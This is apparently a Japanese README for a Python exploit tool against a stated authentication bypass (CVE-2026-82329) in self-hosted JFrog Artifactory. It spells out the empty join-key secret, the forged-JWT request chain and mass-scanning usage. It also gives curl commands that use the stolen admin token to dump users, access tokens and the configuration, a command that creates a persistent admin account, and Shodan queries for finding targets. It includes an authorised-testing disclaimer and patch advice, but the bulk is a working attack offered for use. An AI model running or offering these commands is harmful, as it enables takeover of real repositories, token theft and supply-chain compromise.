
CVE-2026-82329 のエクスプロイト。セルフホスト型 JFrog Artifactory における未認証の認証バイパスであり、空のジョインキーを介した管理者トークンの乗っ取りを可能にします。
╔══════════════════════════════════════════════════════════╗
║ artifactory · CVE-2026-82329 unauth admin takeover ║
║ mitsec · https://x.com/ynsmroztas ║
╚══════════════════════════════════════════════════════════╝
CVE-2026-82329 — JFrog Artifactory(セルフホスト版)の認証不要 join-JWT
→ SERVICE admin トークン → プラットフォーム applied-permissions/admin アクセストークン。
CVSS 9.8 · CWE-287 · CISA KEV · 実環境で悪用済み。
許可されたテストのみ。所有していないシステム、または書面によるテスト許可がない システムに対して実行しないでください。
デフォルトのセルフホストインストールは、空の join キー を信頼します。
JoinKeyUtils.getSigningKey("") == pkcs7(empty, 32) == 32 × 0x20
kid = SHA256("") = e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
クラウドホスト版の JFrog は修正済み。セルフホスト版のみ対象。
Access 修正ライン: 7.191.14。
# 標準ライブラリのみ — pip 不要
python3 artifactory.py -h
TLS 検証はデフォルトでオフ(自己署名 Artifactory が一般的なため)。
追加フラグは不要。
# 単一ホスト
python3 artifactory.py -u https://artifactory.example.internal:8082
# 発行された admin トークンを表示
python3 artifactory.py -u https://TARGET:8082 --token
# リスト / パイプライン(httpx、shodan、subfinder スタイル)
python3 artifactory.py -l hosts.txt --threads 8
cat hosts.txt | python3 artifactory.py
# Pro / Enterprise のみ — ローカル admin を永続化(破壊的)
python3 artifactory.py -u https://TARGET:8082 --create-admin auditor:ChangeMe_1
[VULN] https://TARGET:8082 join=201 svc_scp=admin admin token scp=applied-permissions/admin aud=* config=200/42020b tokens=200 version=7.161.19
[SAFE] https://patched:8082 join HTTP 401 (patched / no blank key)
[FAIL] https://dead:8082 unreachable
| タグ | 意味 |
|---|---|
VULN |
--token は Bearer 値を出力します。これが乗っ取りそのものです — ログインユーザーは任意です。
--create-admin は OSS では400 を返すことが多い(PUT /artifactory/api/security/users は Pro 限定)。
admin トークンは引き続き有効です。有効な発見には永続化は不要です。
TARGET を置き換え、--token の出力からトークンを貼り付けます。
TOKEN='eyJ...' # --token の出力
B='https://TARGET:8082'
# バージョン / エディション
curl -sk -H "Authorization: Bearer $TOKEN" \
"$B/artifactory/api/system/version"
# ユーザーディレクトリ(admin)
curl -sk -H "Authorization: Bearer $TOKEN" \
"$B/access/api/v2/users"
# インスタンス上のすべてのアクセストークン
curl -sk -H "Authorization: Bearer $TOKEN" \
"$B/access/api/v1/tokens" | head -c 400
# リポジトリ一覧
curl -sk -H "Authorization: Bearer $TOKEN" \
"$B/artifactory/api/repositories"
その他の有用な admin 限定の読み取り(許可なしに書き込みをしないでください):
curl -sk -H "Authorization: Bearer $TOKEN" \
"$B/artifactory/api/system/configuration" -o config.xml
curl -sk -H "Authorization: Bearer $TOKEN" \
"$B/artifactory/api/security/users"
curl -sk -H "Authorization: Bearer $TOKEN" \
"$B/access/api/v1/tokens"
UI: プラットフォーム → Access Token でログイン、または
すべてのリクエストに Authorization: Bearer <token> を送信。
curl -sk -D- -X POST "$B/access/api/v2/users" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"username":"auditor","email":"[email protected]","password":"ChangeMe_1Aa","admin":true}'
パスワードポリシーによる 400 ≠ 脆弱性なし。トークンはすでに aud=* を持っています。
# Shodan
http.component:"Artifactory" port:8081,8082
title:"Artifactory" "JFrog"
http.html:"/artifactory/webapp"
ssl.cert.subject.CN:"artifactory"
# 一般的なポート
8081 8082 8040 8046 443
ツールは -u から /artifactory /ui /webapp を除去し、同一オリジンの Access ルーターと通信します。
--create-admin が発見内容ではない理由影響は次のように報告してください: 認証不要のプラットフォーム管理者トークン。
ユーザー作成はフォローアップであり、根本的な問題ではありません。
このリポジトリは、テストを許可されたシステムのための検証ツールです。
許可なく第三者インフラ上でトークンを発行、ユーザーを列挙、またはアカウントを作成することは違法です。
パッチ: 該当ブランチの修正ビルドにアップグレードし、実際の join キーを設定し、開示後に発行されたトークンをローテーションしてください。
mitsec · @ynsmroztas
| 手順 | リクエスト | 結果 |
|---|
| 1 | HS256 join JWT を偽造(iat は最新、skip_node_registration=true) | 既知の HMAC シークレット |
| 2 | POST /access/api/v1/registry/join | 201 SERVICE トークン scp=admin |
| 3 | POST /access/api/v1/tokens | 200 admin トークン scp=applied-permissions/admin aud=* |
| 4 | GET /artifactory/api/system/configuration | admin 限定の証明(未認証 = 401) |
| ブランチ | 脆弱性あり ≤ | 修正版 |
|---|
| 7.111 | 7.111.20 | 7.111.21 |
| 7.117 | 7.117.27 | 7.117.28 |
| 7.125 | 7.125.19 | 7.125.20 |
| 7.133 | 7.133.28 | 7.133.29 |
| 7.146 | 7.146.37 | 7.146.38 |
| 7.161 | 7.161.19 | 7.161.20 |
空の join が受け入れられ、admin 証明あり(configuration またはトークンリスト = 200) |
SAFE | join が拒否 — 修正済み、追加の join キー設定あり、または Access ではない |
INFO | join は発行されたが、証明エンドポイントが 200 でない — 手動で確認 |
FAIL | ネットワーク / タイムアウト |
| サーフェス | OSS | Pro / Enterprise |
|---|
| admin アクセストークンの発行 | はい | はい |
| 設定 / トークンリスト / リポジトリの読み取り | はい | はい |
PUT /artifactory/api/security/users | 400 Pro 限定 | 200/201 |
POST /access/api/v2/users | バージョン / ポリシー依存 | 201 |